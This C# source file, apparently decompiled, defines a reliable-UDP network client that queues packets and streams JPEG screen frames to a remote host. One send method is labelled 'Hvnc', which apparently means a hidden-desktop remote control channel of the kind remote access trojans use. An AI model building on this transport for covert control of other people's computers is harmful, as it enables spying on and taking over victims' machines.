using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Threading;
using Crysome.Common.Network.Packets;

namespace Crysome.Common.Network;

public class CrysomeClient
{
	private RudpChannel _rudp;

	private CancellationTokenSource _readCts = new CancellationTokenSource();

	private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);

	private static int _clientIdGen = new Random().Next(1, 100000);

	public bool IsConnected
	{
		get
		{
			if (_rudp != null && _rudp.IsAlive)
			{
				return !_readCts.IsCancellationRequested;
			}
			return false;
		}
	}

	public IPEndPoint RemoteAddress => _rudp?.Remote;

	public IPEndPoint LocalAddress => null;

	public int Port => 0;

	public double RttMs => _rudp?.RttMs ?? 0.0;

	public double LossRate => _rudp?.LossRate ?? 0.0;

	public long BytesSent => _rudp?.BytesSent ?? 0;

	public long BytesRecv => _rudp?.BytesRecv ?? 0;

	public uint UdpSessionToken { get; set; }

	public IPEndPoint UdpRemoteEndPoint { get; set; }

	public uint UdpLastFrameSeq { get; set; }

	public event EventHandler PacketReceived;

	public event EventHandler PacketSent;

	public void Connect(IPAddress address, int port)
	{
		IPEndPoint remote = new IPEndPoint(address, port);
		RudpChannel rudpChannel = new RudpChannel(NextSessionId(), remote);
		rudpChannel.Start();
		AttachChannel(rudpChannel);
		Thread.Sleep(50);
	}

	private static uint NextSessionId()
	{
		uint num = (uint)Interlocked.Increment(ref _clientIdGen);
		if (num != 0)
		{
			return num;
		}
		return (uint)Interlocked.Increment(ref _clientIdGen);
	}

	private void AttachChannel(RudpChannel channel)
	{
		_rudp = channel;
		_rudp.ReliableReceived += OnReliableData;
		_rudp.UnreliableFrameReceived += OnUnreliableControl;
		_rudp.Disconnected += OnDisconnected;
	}

	public RudpChannel GetRudpChannel()
	{
		return _rudp;
	}

	public void SendPacket(IPacket packet)
	{
		byte[] payload = PacketSerializer.Serialize(packet);
		_rudp.SendReliable(payload);
		this.PacketSent?.Invoke(this, EventArgs.Empty);
	}

	public void SendPacketUnreliable(IPacket packet)
	{
		byte[] payload = PacketSerializer.Serialize(packet);
		_rudp.SendUnreliable(0, payload);
		this.PacketSent?.Invoke(this, EventArgs.Empty);
	}

	public void SendDesktopScreenFrame(byte[] jpegData)
	{
		if (jpegData != null && jpegData.Length != 0)
		{
			_rudp.SendUnreliable(36, jpegData);
			this.PacketSent?.Invoke(this, EventArgs.Empty);
		}
	}

	public void SendHvncFrame(byte[] jpegData)
	{
		if (jpegData != null && jpegData.Length != 0)
		{
			_rudp.SendUnreliable(46, jpegData);
			this.PacketSent?.Invoke(this, EventArgs.Empty);
		}
	}

	public IPacket ReadPacket()
	{
		try
		{
			IPacket result = _inQueue.Take(_readCts.Token);
			this.PacketReceived?.Invoke(this, EventArgs.Empty);
			return result;
		}
		catch (OperationCanceledException)
		{
			throw new IOException("Connection closed");
		}
	}

	public void Disconnect()
	{
		_readCts.Cancel();
		try
		{
			_rudp?.SendFin();
		}
		catch
		{
		}
		try
		{
			_rudp?.Dispose();
		}
		catch
		{
		}
	}

	private void OnReliableData(byte[] payload)
	{
		try
		{
			IPacket packet = PacketSerializer.Deserialize(payload);
			if (packet != null && !_inQueue.IsAddingCompleted)
			{
				_inQueue.TryAdd(packet, 100);
			}
		}
		catch
		{
		}
	}

	private void OnUnreliableControl(byte typeId, byte[] data)
	{
		if (typeId != 0 || data == null)
		{
			return;
		}
		try
		{
			IPacket packet = PacketSerializer.Deserialize(data);
			if (packet != null && !_inQueue.IsAddingCompleted)
			{
				_inQueue.TryAdd(packet, 20);
			}
		}
		catch
		{
		}
	}

	private void OnDisconnected()
	{
		_readCts.Cancel();
		_inQueue.CompleteAdding();
	}
}
